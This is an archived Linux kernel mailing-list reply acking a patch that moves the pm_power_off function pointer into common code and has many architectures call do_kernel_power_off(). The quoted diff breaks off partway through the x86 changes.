X-Trace: ger.gmane.org 1414167504 7885 80.91.229.3 (24 Oct 2014 16:18:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 24 Oct 2014 16:18:24 +0000 (UTC)
Cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	linux-sh@vger.kernel.org,
	"linux@lists.openrisc.net" <linux@lists.openrisc.net>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	"linux-am33-list@redhat.com" <linux-am33-list@redhat.com>,
	"linux-c6x-dev@linux-c6x.org" <linux-c6x-dev@linux-c6x.org>,
	"linux-hexagon@vger.kernel.org" <linux-hexagon@vger.kernel.org>,
	"x86@kernel.org" <x86@kernel.org>, xen-devel@lists.xenproject.org,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	"user-mode-linux-devel@lists.sourceforge.net"
	<user-mode-linux-devel@lists.sourceforge.net>, linux-pm@vger.kernel.org,
	"adi-buildroot-devel@lists.sourceforge.net"
	<adi-buildroot-devel@lists.sourceforge.net>,
	"linux-m68k@lists.linux-m68k.org" <linux-
Original-X-From: user-mode-linux-user-bounces@lists.sourceforge.net Fri Oct 24 18:18:16 2014
Return-path: <user-mode-linux-user-bounces@lists.sourceforge.net>
Envelope-to: gluu-user-mode-linux-user-592@gmane.org
Original-Received: from lists.sourceforge.net ([216.34.181.88])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <user-mode-linux-user-bounces@lists.sourceforge.net>)
	id 1XhhZ8-00078A-KM
	for gluu-user-mode-linux-user-592@gmane.org; Fri, 24 Oct 2014 18:18:15 +0200
Original-Received: from localhost ([127.0.0.1] helo=sfs-ml-3.v29.ch3.sourceforge.com)
	by sfs-ml-3.v29.ch3.sourceforge.com with esmtp (Exim 4.76)
	(envelope-from <user-mode-linux-user-bounces@lists.sourceforge.net>)
	id 1XhhZ3-00044Y-M1; Fri, 24 Oct 2014 16:18:09 +0000
Original-Received: from sog-mx-1.v43.ch3.sourceforge.com ([172.29.43.191]
	helo=mx.sourceforge.net)
	by sfs-ml-4.v29.ch3.sourceforge.com with esmtp (Exim 4.76)
	(envelope-from <lennox.wu@gmail.com>) id 1XhbhK-0000f1-TD
	for user-mode-linux-user@lists.sourceforge.net;
	Fri, 24 Oct 2014 10:02:18 +0000
Received-SPF: pass (sog-mx-1.v43.ch3.sourceforge.com: domain of gmail.com
	designates 209.85.213.52 as permitted sender)
	client-ip=209.85.213.52; envelope-from=lennox.wu@gmail.com;
	helo=mail-yh0-f52.google.com; 
Original-Received: from mail-yh0-f52.google.com ([209.85.213.52])
	by sog-mx-1.v43.ch3.sourceforge.com with esmtps (TLSv1:RC4-SHA:128)
	(Exim 4.76) id 1XhbhH-0006Og-58
	for user-mode-linux-user@lists.sourceforge.net;
	Fri, 24 Oct 2014 10:02:18 +0000
Original-Received: by mail-yh0-f52.google.com with SMTP id f10so109070yha.11
	for <user-mode-linux-user@lists.sourceforge.net>;
	Fri, 24 Oct 2014 03:02:09 -0700 (PDT)
X-Received: by 10.170.149.133 with SMTP id q127mt4603100ykc.90.1414144929497; 
	Fri, 24 Oct 2014 03:02:09 -0700 (PDT)
Original-Received: by 10.221.26.200 with HTTP; Fri, 24 Oct 2014 03:02:09 -0700 (PDT)
In-Reply-To: <1413864783-3271-9-git-send-email-linux@roeck-us.net>
X-Spam-Score: 3.1 (+++)
X-Spam-Report: Spam Filtering performed by mx.sourceforge.net.
	See http://spamassassin.org/tag/ for more details.
	-1.5 SPF_CHECK_PASS SPF reports sender host as permitted sender for
	sender-domain
	0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
	(lennox.wu[at]gmail.com)
	-0.0 SPF_PASS               SPF: sender matches SPF record
	2.5 SUSPICIOUS_RECIPS      Similar addresses in recipient list
	1.2 MISSING_HEADERS        Missing To: header
	1.0 HTML_MESSAGE           BODY: HTML included in message
	-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
	author's domain
	0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
	not necessarily valid
	-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-Headers-End: 1XhbhH-0006Og-58
X-Mailman-Approved-At: Fri, 24 Oct 2014 16:18:06 +0000
X-BeenThere: user-mode-linux-user@lists.sourceforge.net
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: The user-mode Linux user list
	<user-mode-linux-user.lists.sourceforge.net>
List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/user-mode-linux-user>,
	<mailto:user-mode-linux-user-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum_name=user-mode-linux-user>
List-Post: <mailto:user-mode-linux-user@lists.sourceforge.net>
List-Help: <mailto:user-mode-linux-user-request@lists.sourceforge.net?subject=help>
List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/user-mode-linux-user>,
	<mailto:user-mode-linux-user-request@lists.sourceforge.net?subject=subscribe>
Errors-To: user-mode-linux-user-bounces@lists.sourceforge.net
Xref: news.gmane.org gmane.linux.uml.user:14745 gmane.linux.ports.mips.general:44711 gmane.linux.ports.ia64:24636 gmane.linux.ports.sh.devel:40185 gmane.linux.ports.openrisc:607 gmane.linux.ports.sparc:20073 gmane.linux.ports.hexagon:872 gmane.linux.uml.devel:14792 gmane.linux.power-management.general:51553 gmane.linux.kernel.metag:391 gmane.linux.ports.arm.kernel:366226 gmane.linux.ports.parisc:6190 gmane.linux.kernel:1813062 gmane.linux.ports.alpha:2527 gmane.linux.ports.ppc64.devel:106356
Archived-At: <http://permalink.gmane.org/gmane.linux.uml.user/14745>

--===============4758436678200825891==
Content-Type: multipart/alternative; boundary=001a113a86702f33570506284668

--001a113a86702f33570506284668
Content-Type: text/plain; charset=UTF-8

Acked-by: Lennox Wu <lennox.wu@gmail.com>

2014-10-21 12:12 GMT+08:00 Guenter Roeck <linux@roeck-us.net>:

> pm_power_off is defined for all architectures. Move it to common code.
>
> Have all architectures call do_kernel_power_off instead of pm_power_off.
> Some architectures point pm_power_off to machine_power_off. For those,
> call do_kernel_power_off from machine_power_off instead.
>
> Acked-by: David Vrabel <david.vrabel@citrix.com>
> Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
> Acked-by: Hirokazu Takata <takata@linux-m32r.org>
> Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>
> Acked-by: Max Filippov <jcmvbkbc@gmail.com>
> Acked-by: Rafael J. Wysocki <rjw@rjwysocki.net>
> Acked-by: Richard Weinberger <richard@nod.at>
> Acked-by: Xuetao Guan <gxt@mprc.pku.edu.cn>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> ---
> v2:
> - do_kernel_poweroff -> do_kernel_power_off
> - have_kernel_poweroff -> have_kernel_power_off
>
>  arch/alpha/kernel/process.c        |  9 +++------
>  arch/arc/kernel/reset.c            |  5 +----
>  arch/arm/kernel/process.c          |  5 +----
>  arch/arm64/kernel/process.c        |  5 +----
>  arch/avr32/kernel/process.c        |  6 +-----
>  arch/blackfin/kernel/process.c     |  3 ---
>  arch/blackfin/kernel/reboot.c      |  2 ++
>  arch/c6x/kernel/process.c          |  9 +--------
>  arch/cris/kernel/process.c         |  4 +---
>  arch/frv/kernel/process.c          |  5 ++---
>  arch/hexagon/kernel/reset.c        |  5 ++---
>  arch/ia64/kernel/process.c         |  5 +----
>  arch/m32r/kernel/process.c         |  8 ++++----
>  arch/m68k/kernel/process.c         |  6 +-----
>  arch/metag/kernel/process.c        |  6 +-----
>  arch/microblaze/kernel/process.c   |  3 ---
>  arch/microblaze/kernel/reset.c     |  1 +
>  arch/mips/kernel/reset.c           |  6 +-----
>  arch/mn10300/kernel/process.c      |  8 ++------
>  arch/openrisc/kernel/process.c     |  8 +++++---
>  arch/parisc/kernel/process.c       |  8 ++++----
>  arch/powerpc/kernel/setup-common.c |  6 +++---
>  arch/s390/kernel/setup.c           |  8 ++------
>  arch/score/kernel/process.c        |  8 ++++----
>  arch/sh/kernel/reboot.c            |  6 +-----
>  arch/sparc/kernel/process_32.c     | 10 ++--------
>  arch/sparc/kernel/reboot.c         |  8 ++------
>  arch/tile/kernel/reboot.c          |  7 +++----
>  arch/um/kernel/reboot.c            |  2 --
>  arch/unicore32/kernel/process.c    |  9 +--------
>  arch/x86/kernel/reboot.c           | 11 +++--------
>  arch/x86/xen/enlighten.c           |  3 +--
>  arch/xtensa/kernel/process.c       |  4 ----
>  drivers/parisc/power.c             |  3 +--
>  kernel/power/poweroff_handler.c    |  8 ++++++++
>  kernel/reboot.c                    |  4 ++--
>  36 files changed, 68 insertions(+), 146 deletions(-)
>
> diff --git a/arch/alpha/kernel/process.c b/arch/alpha/kernel/process.c
> index 1941a07..81c43f8 100644
> --- a/arch/alpha/kernel/process.c
> +++ b/arch/alpha/kernel/process.c
> @@ -24,6 +24,7 @@
>  #include <linux/vt.h>
>  #include <linux/mman.h>
>  #include <linux/elfcore.h>
> +#include <linux/pm.h>
>  #include <linux/reboot.h>
>  #include <linux/tty.h>
>  #include <linux/console.h>
> @@ -40,12 +41,6 @@
>  #include "proto.h"
>  #include "pci_impl.h"
>
> -/*
> - * Power off function, if any
> - */
> -void (*pm_power_off)(void) = machine_power_off;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  #ifdef CONFIG_ALPHA_WTINT
>  /*
>   * Sleep the CPU.
> @@ -184,6 +179,8 @@ machine_halt(void)
>  void
>  machine_power_off(void)
>  {
> +       do_kernel_power_off();
> +
>         common_shutdown(LINUX_REBOOT_CMD_POWER_OFF, NULL);
>  }
>
> diff --git a/arch/arc/kernel/reset.c b/arch/arc/kernel/reset.c
> index 2768fa1..0758d9d 100644
> --- a/arch/arc/kernel/reset.c
> +++ b/arch/arc/kernel/reset.c
> @@ -26,9 +26,6 @@ void machine_restart(char *__unused)
>
>  void machine_power_off(void)
>  {
> -       /* FIXME ::  power off ??? */
> +       do_kernel_power_off();
>         machine_halt();
>  }
> -
> -void (*pm_power_off) (void) = NULL;
> -EXPORT_SYMBOL(pm_power_off);
> diff --git a/arch/arm/kernel/process.c b/arch/arm/kernel/process.c
> index fe972a2..aa3f656 100644
> --- a/arch/arm/kernel/process.c
> +++ b/arch/arm/kernel/process.c
> @@ -117,8 +117,6 @@ void soft_restart(unsigned long addr)
>  /*
>   * Function pointers to optional machine specific functions
>   */
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
>
>  void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd);
>
> @@ -205,8 +203,7 @@ void machine_power_off(void)
>         local_irq_disable();
>         smp_send_stop();
>
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>  }
>
>  /*
> diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
> index c3065db..46a483a 100644
> --- a/arch/arm64/kernel/process.c
> +++ b/arch/arm64/kernel/process.c
> @@ -68,8 +68,6 @@ void soft_restart(unsigned long addr)
>  /*
>   * Function pointers to optional machine specific functions
>   */
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL_GPL(pm_power_off);
>
>  void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd);
>
> @@ -129,8 +127,7 @@ void machine_power_off(void)
>  {
>         local_irq_disable();
>         smp_send_stop();
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>  }
>
>  /*
> diff --git a/arch/avr32/kernel/process.c b/arch/avr32/kernel/process.c
> index 42a53e74..529c1f6 100644
> --- a/arch/avr32/kernel/process.c
> +++ b/arch/avr32/kernel/process.c
> @@ -23,9 +23,6 @@
>
>  #include <mach/pm.h>
>
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  /*
>   * This file handles the architecture-dependent parts of process
> handling..
>   */
> @@ -48,8 +45,7 @@ void machine_halt(void)
>
>  void machine_power_off(void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>  }
>
>  void machine_restart(char *cmd)
> diff --git a/arch/blackfin/kernel/process.c
> b/arch/blackfin/kernel/process.c
> index 4aa5545..812dd83 100644
> --- a/arch/blackfin/kernel/process.c
> +++ b/arch/blackfin/kernel/process.c
> @@ -39,9 +39,6 @@ int nr_l1stack_tasks;
>  void *l1_stack_base;
>  unsigned long l1_stack_len;
>
> -void (*pm_power_off)(void) = NULL;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  /*
>   * The idle loop on BFIN
>   */
> diff --git a/arch/blackfin/kernel/reboot.c b/arch/blackfin/kernel/reboot.c
> index c4f50a3..387d610 100644
> --- a/arch/blackfin/kernel/reboot.c
> +++ b/arch/blackfin/kernel/reboot.c
> @@ -7,6 +7,7 @@
>   */
>
>  #include <linux/interrupt.h>
> +#include <linux/pm.h>
>  #include <asm/bfin-global.h>
>  #include <asm/reboot.h>
>  #include <asm/bfrom.h>
> @@ -106,6 +107,7 @@ void machine_halt(void)
>  __attribute__((weak))
>  void native_machine_power_off(void)
>  {
> +       do_kernel_power_off();
>         idle_with_irq_disabled();
>  }
>
> diff --git a/arch/c6x/kernel/process.c b/arch/c6x/kernel/process.c
> index 57d2ea8..edf7e5a 100644
> --- a/arch/c6x/kernel/process.c
> +++ b/arch/c6x/kernel/process.c
> @@ -27,12 +27,6 @@ void (*c6x_halt)(void);
>  extern asmlinkage void ret_from_fork(void);
>  extern asmlinkage void ret_from_kernel_thread(void);
>
> -/*
> - * power off function, if any
> - */
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void arch_cpu_idle(void)
>  {
>         unsigned long tmp;
> @@ -73,8 +67,7 @@ void machine_halt(void)
>
>  void machine_power_off(void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>         halt_loop();
>  }
>
> diff --git a/arch/cris/kernel/process.c b/arch/cris/kernel/process.c
> index b78498e..9ebd76b 100644
> --- a/arch/cris/kernel/process.c
> +++ b/arch/cris/kernel/process.c
> @@ -31,9 +31,6 @@
>
>  extern void default_idle(void);
>
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void arch_cpu_idle(void)
>  {
>         default_idle();
> @@ -60,6 +57,7 @@ void machine_halt(void)
>
>  void machine_power_off(void)
>  {
> +       do_kernel_power_off();
>  }
>
>  /*
> diff --git a/arch/frv/kernel/process.c b/arch/frv/kernel/process.c
> index 5d40aeb77..502dabb 100644
> --- a/arch/frv/kernel/process.c
> +++ b/arch/frv/kernel/process.c
> @@ -42,9 +42,6 @@ asmlinkage void ret_from_kernel_thread(void);
>
>  #include <asm/pgalloc.h>
>
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  static void core_sleep_idle(void)
>  {
>  #ifdef LED_DEBUG_SLEEP
> @@ -107,6 +104,8 @@ void machine_power_off(void)
>         gdbstub_exit(0);
>  #endif
>
> +       do_kernel_power_off();
> +
>         for (;;);
>  }
>
> diff --git a/arch/hexagon/kernel/reset.c b/arch/hexagon/kernel/reset.c
> index 76483c1..6f607b6 100644
> --- a/arch/hexagon/kernel/reset.c
> +++ b/arch/hexagon/kernel/reset.c
> @@ -16,11 +16,13 @@
>   * 02110-1301, USA.
>   */
>
> +#include <linux/pm.h>
>  #include <linux/smp.h>
>  #include <asm/hexagon_vm.h>
>
>  void machine_power_off(void)
>  {
> +       do_kernel_power_off();
>         smp_send_stop();
>         __vmstop();
>  }
> @@ -32,6 +34,3 @@ void machine_halt(void)
>  void machine_restart(char *cmd)
>  {
>  }
> -
> -void (*pm_power_off)(void) = NULL;
> -EXPORT_SYMBOL(pm_power_off);
> diff --git a/arch/ia64/kernel/process.c b/arch/ia64/kernel/process.c
> index b515149..88121a2 100644
> --- a/arch/ia64/kernel/process.c
> +++ b/arch/ia64/kernel/process.c
> @@ -57,8 +57,6 @@ void (*ia64_mark_idle)(int);
>
>  unsigned long boot_option_idle_override = IDLE_NO_OVERRIDE;
>  EXPORT_SYMBOL(boot_option_idle_override);
> -void (*pm_power_off) (void);
> -EXPORT_SYMBOL(pm_power_off);
>
>  void
>  ia64_do_show_stack (struct unw_frame_info *info, void *arg)
> @@ -675,8 +673,7 @@ machine_halt (void)
>  void
>  machine_power_off (void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>         machine_halt();
>  }
>
> diff --git a/arch/m32r/kernel/process.c b/arch/m32r/kernel/process.c
> index e69221d..65a037e 100644
> --- a/arch/m32r/kernel/process.c
> +++ b/arch/m32r/kernel/process.c
> @@ -23,6 +23,7 @@
>  #include <linux/fs.h>
>  #include <linux/slab.h>
>  #include <linux/module.h>
> +#include <linux/pm.h>
>  #include <linux/ptrace.h>
>  #include <linux/unistd.h>
>  #include <linux/hardirq.h>
> @@ -44,9 +45,6 @@ unsigned long thread_saved_pc(struct task_struct *tsk)
>         return tsk->thread.lr;
>  }
>
> -void (*pm_power_off)(void) = NULL;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void machine_restart(char *__unused)
>  {
>  #if defined(CONFIG_PLAT_MAPPI3)
> @@ -67,7 +65,9 @@ void machine_halt(void)
>
>  void machine_power_off(void)
>  {
> -       /* M32R_FIXME */
> +       do_kernel_power_off();
> +       for (;;)
> +               ;
>  }
>
>  void show_regs(struct pt_regs * regs)
> diff --git a/arch/m68k/kernel/process.c b/arch/m68k/kernel/process.c
> index afe3d6e..bbc0a63 100644
> --- a/arch/m68k/kernel/process.c
> +++ b/arch/m68k/kernel/process.c
> @@ -78,14 +78,10 @@ void machine_halt(void)
>
>  void machine_power_off(void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>         for (;;);
>  }
>
> -void (*pm_power_off)(void) = machine_power_off;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void show_regs(struct pt_regs * regs)
>  {
>         printk("\n");
> diff --git a/arch/metag/kernel/process.c b/arch/metag/kernel/process.c
> index 483dff9..8d95773 100644
> --- a/arch/metag/kernel/process.c
> +++ b/arch/metag/kernel/process.c
> @@ -67,9 +67,6 @@ void arch_cpu_idle_dead(void)
>  }
>  #endif
>
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void (*soc_restart)(char *cmd);
>  void (*soc_halt)(void);
>
> @@ -90,8 +87,7 @@ void machine_halt(void)
>
>  void machine_power_off(void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>         smp_send_stop();
>         hard_processor_halt(HALT_OK);
>  }
> diff --git a/arch/microblaze/kernel/process.c
> b/arch/microblaze/kernel/process.c
> index b2dd371..0ebca36 100644
> --- a/arch/microblaze/kernel/process.c
> +++ b/arch/microblaze/kernel/process.c
> @@ -44,9 +44,6 @@ void show_regs(struct pt_regs *regs)
>                                 regs->msr, regs->ear, regs->esr,
> regs->fsr);
>  }
>
> -void (*pm_power_off)(void) = NULL;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void flush_thread(void)
>  {
>  }
> diff --git a/arch/microblaze/kernel/reset.c
> b/arch/microblaze/kernel/reset.c
> index fbe58c6..2c6b32c 100644
> --- a/arch/microblaze/kernel/reset.c
> +++ b/arch/microblaze/kernel/reset.c
> @@ -103,6 +103,7 @@ void machine_halt(void)
>  void machine_power_off(void)
>  {
>         pr_notice("Machine power off...\n");
> +       do_kernel_power_off();
>         while (1)
>                 ;
>  }
> diff --git a/arch/mips/kernel/reset.c b/arch/mips/kernel/reset.c
> index 07fc524..09e74d2 100644
> --- a/arch/mips/kernel/reset.c
> +++ b/arch/mips/kernel/reset.c
> @@ -21,9 +21,6 @@
>   */
>  void (*_machine_restart)(char *command);
>  void (*_machine_halt)(void);
> -void (*pm_power_off)(void);
> -
> -EXPORT_SYMBOL(pm_power_off);
>
>  void machine_restart(char *command)
>  {
> @@ -39,6 +36,5 @@ void machine_halt(void)
>
>  void machine_power_off(void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>  }
> diff --git a/arch/mn10300/kernel/process.c b/arch/mn10300/kernel/process.c
> index 3707da5..c78b2eb 100644
> --- a/arch/mn10300/kernel/process.c
> +++ b/arch/mn10300/kernel/process.c
> @@ -20,6 +20,7 @@
>  #include <linux/user.h>
>  #include <linux/interrupt.h>
>  #include <linux/delay.h>
> +#include <linux/pm.h>
>  #include <linux/reboot.h>
>  #include <linux/percpu.h>
>  #include <linux/err.h>
> @@ -45,12 +46,6 @@ unsigned long thread_saved_pc(struct task_struct *tsk)
>  }
>
>  /*
> - * power off function, if any
> - */
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
> -/*
>   * On SMP it's slightly faster (but much more power-consuming!)
>   * to poll the ->work.need_resched flag instead of waiting for the
>   * cross-CPU IPI to arrive. Use this option with caution.
> @@ -93,6 +88,7 @@ void machine_power_off(void)
>  #ifdef CONFIG_KERNEL_DEBUGGER
>         gdbstub_exit(0);
>  #endif
> +       do_kernel_power_off();
>  }
>
>  void show_regs(struct pt_regs *regs)
> diff --git a/arch/openrisc/kernel/process.c
> b/arch/openrisc/kernel/process.c
> index 386af25..494afd2 100644
> --- a/arch/openrisc/kernel/process.c
> +++ b/arch/openrisc/kernel/process.c
> @@ -25,6 +25,7 @@
>  #include <linux/kernel.h>
>  #include <linux/module.h>
>  #include <linux/mm.h>
> +#include <linux/pm.h>
>  #include <linux/stddef.h>
>  #include <linux/unistd.h>
>  #include <linux/ptrace.h>
> @@ -51,7 +52,7 @@
>   */
>  struct thread_info *current_thread_info_set[NR_CPUS] = {
> &init_thread_info, };
>
> -void machine_restart(void)
> +void machine_restart(char *cmd)
>  {
>         printk(KERN_INFO "*** MACHINE RESTART ***\n");
>         __asm__("l.nop 1");
> @@ -72,11 +73,12 @@ void machine_halt(void)
>  void machine_power_off(void)
>  {
>         printk(KERN_INFO "*** MACHINE POWER OFF ***\n");
> +
> +       do_kernel_power_off();
> +
>         __asm__("l.nop 1");
>  }
>
> -void (*pm_power_off) (void) = machine_power_off;
> -
>  /*
>   * When a process does an "exec", machine state like FPU and debug
>   * registers need to be reset.  This is a hook function for that.
> diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
> index 0bbbf0d..3f5d14a 100644
> --- a/arch/parisc/kernel/process.c
> +++ b/arch/parisc/kernel/process.c
> @@ -41,6 +41,7 @@
>  #include <linux/fs.h>
>  #include <linux/module.h>
>  #include <linux/personality.h>
> +#include <linux/pm.h>
>  #include <linux/ptrace.h>
>  #include <linux/sched.h>
>  #include <linux/slab.h>
> @@ -133,7 +134,9 @@ void machine_power_off(void)
>         pdc_soft_power_button(0);
>
>         pdc_chassis_send_status(PDC_CHASSIS_DIRECT_SHUTDOWN);
> -
> +
> +       do_kernel_power_off();
> +
>         /* It seems we have no way to power the system off via
>          * software. The user has to press the button himself. */
>
> @@ -141,9 +144,6 @@ void machine_power_off(void)
>                "Please power this system off now.");
>  }
>
> -void (*pm_power_off)(void) = machine_power_off;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  /*
>   * Free current thread data structures etc..
>   */
> diff --git a/arch/powerpc/kernel/setup-common.c
> b/arch/powerpc/kernel/setup-common.c
> index 1362cd6..5b7a851 100644
> --- a/arch/powerpc/kernel/setup-common.c
> +++ b/arch/powerpc/kernel/setup-common.c
> @@ -141,6 +141,9 @@ void machine_power_off(void)
>         machine_shutdown();
>         if (ppc_md.power_off)
>                 ppc_md.power_off();
> +
> +       do_kernel_power_off();
> +
>  #ifdef CONFIG_SMP
>         smp_send_stop();
>  #endif
> @@ -151,9 +154,6 @@ void machine_power_off(void)
>  /* Used by the G5 thermal driver */
>  EXPORT_SYMBOL_GPL(machine_power_off);
>
> -void (*pm_power_off)(void) = machine_power_off;
> -EXPORT_SYMBOL_GPL(pm_power_off);
> -
>  void machine_halt(void)
>  {
>         machine_shutdown();
> diff --git a/arch/s390/kernel/setup.c b/arch/s390/kernel/setup.c
> index e80d9ff..267e025 100644
> --- a/arch/s390/kernel/setup.c
> +++ b/arch/s390/kernel/setup.c
> @@ -263,13 +263,9 @@ void machine_power_off(void)
>                  */
>                 console_unblank();
>         _machine_power_off();
> -}
>
> -/*
> - * Dummy power off function.
> - */
> -void (*pm_power_off)(void) = machine_power_off;
> -EXPORT_SYMBOL_GPL(pm_power_off);
> +       do_kernel_power_off();
> +}
>
>  static int __init early_parse_mem(char *p)
>  {
> diff --git a/arch/score/kernel/process.c b/arch/score/kernel/process.c
> index a1519ad3..b76ea67 100644
> --- a/arch/score/kernel/process.c
> +++ b/arch/score/kernel/process.c
> @@ -29,9 +29,6 @@
>  #include <linux/pm.h>
>  #include <linux/rcupdate.h>
>
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  /* If or when software machine-restart is implemented, add code here. */
>  void machine_restart(char *command) {}
>
> @@ -39,7 +36,10 @@ void machine_restart(char *command) {}
>  void machine_halt(void) {}
>
>  /* If or when software machine-power-off is implemented, add code here. */
> -void machine_power_off(void) {}
> +void machine_power_off(void)
> +{
> +       do_kernel_power_off();
> +}
>
>  void ret_from_fork(void);
>  void ret_from_kernel_thread(void);
> diff --git a/arch/sh/kernel/reboot.c b/arch/sh/kernel/reboot.c
> index 04afe5b..065de12 100644
> --- a/arch/sh/kernel/reboot.c
> +++ b/arch/sh/kernel/reboot.c
> @@ -11,9 +11,6 @@
>  #include <asm/tlbflush.h>
>  #include <asm/traps.h>
>
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  #ifdef CONFIG_SUPERH32
>  static void watchdog_trigger_immediate(void)
>  {
> @@ -51,8 +48,7 @@ static void native_machine_shutdown(void)
>
>  static void native_machine_power_off(void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>  }
>
>  static void native_machine_halt(void)
> diff --git a/arch/sparc/kernel/process_32.c
> b/arch/sparc/kernel/process_32.c
> index 50e7b62..cb8148a 100644
> --- a/arch/sparc/kernel/process_32.c
> +++ b/arch/sparc/kernel/process_32.c
> @@ -48,14 +48,6 @@
>   */
>  void (*sparc_idle)(void);
>
> -/*
> - * Power-off handler instantiation for pm.h compliance
> - * This is done via auxio, but could be used as a fallback
> - * handler when auxio is not present-- unused for now...
> - */
> -void (*pm_power_off)(void) = machine_power_off;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  /*
>   * sysctl - toggle power-off restriction for serial console
>   * systems in machine_power_off()
> @@ -112,6 +104,8 @@ void machine_power_off(void)
>                 sbus_writeb(power_register, auxio_power_register);
>         }
>
> +       do_kernel_power_off();
> +
>         machine_halt();
>  }
>
> diff --git a/arch/sparc/kernel/reboot.c b/arch/sparc/kernel/reboot.c
> index eba7d91..3c0bb03 100644
> --- a/arch/sparc/kernel/reboot.c
> +++ b/arch/sparc/kernel/reboot.c
> @@ -16,17 +16,13 @@
>   */
>  int scons_pwroff = 1;
>
> -/* This isn't actually used, it exists merely to satisfy the
> - * reference in kernel/sys.c
> - */
> -void (*pm_power_off)(void) = machine_power_off;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void machine_power_off(void)
>  {
>         if (strcmp(of_console_device->type, "serial") || scons_pwroff)
>                 prom_halt_power_off();
>
> +       do_kernel_power_off();
> +
>         prom_halt();
>  }
>
> diff --git a/arch/tile/kernel/reboot.c b/arch/tile/kernel/reboot.c
> index 6c5d2c0..8ff4a7f 100644
> --- a/arch/tile/kernel/reboot.c
> +++ b/arch/tile/kernel/reboot.c
> @@ -36,6 +36,9 @@ void machine_power_off(void)
>  {
>         arch_local_irq_disable_all();
>         smp_send_stop();
> +
> +       do_kernel_power_off();
> +
>         hv_power_off();
>  }
>
> @@ -45,7 +48,3 @@ void machine_restart(char *cmd)
>         smp_send_stop();
>         hv_restart((HV_VirtAddr) "vmlinux", (HV_VirtAddr) cmd);
>  }
> -
> -/* No interesting distinction to be made here. */
> -void (*pm_power_off)(void) = NULL;
> -EXPORT_SYMBOL(pm_power_off);
> diff --git a/arch/um/kernel/reboot.c b/arch/um/kernel/reboot.c
> index ced8903..a82ef28 100644
> --- a/arch/um/kernel/reboot.c
> +++ b/arch/um/kernel/reboot.c
> @@ -11,8 +11,6 @@
>  #include <os.h>
>  #include <skas.h>
>
> -void (*pm_power_off)(void);
> -
>  static void kill_off_processes(void)
>  {
>         if (proc_mm)
> diff --git a/arch/unicore32/kernel/process.c
> b/arch/unicore32/kernel/process.c
> index b008e99..9490dd5 100644
> --- a/arch/unicore32/kernel/process.c
> +++ b/arch/unicore32/kernel/process.c
> @@ -56,16 +56,9 @@ void machine_halt(void)
>         gpio_set_value(GPO_SOFT_OFF, 0);
>  }
>
> -/*
> - * Function pointers to optional machine specific functions
> - */
> -void (*pm_power_off)(void) = NULL;
> -EXPORT_SYMBOL(pm_power_off);
> -
>  void machine_power_off(void)
>  {
> -       if (pm_power_off)
> -               pm_power_off();
> +       do_kernel_power_off();
>         machine_halt();
>  }
>
> diff --git a/arch/x86/kernel/reboot.c b/arch/x86/kernel/reboot.c
> index 17962e6..5c09e28 100644
> --- a/arch/x86/kernel/reboot.c
> +++ b/arch/x86/kernel/reboot.c
> @@ -30,12 +30,6 @@
>  #include <asm/x86_init.h>
>  #include <asm/efi.h>
>
> -/*
> - * Power off function, if any
> - */
> -void (*pm_power_off)(void);
> -EXPORT_SYMBOL(pm_power_off);
> -
>  static const struct desc_ptr no_idt = {};
>
>  /*
> @@ -647,11 +641,12 @@ static void native_machine_halt(void)
>
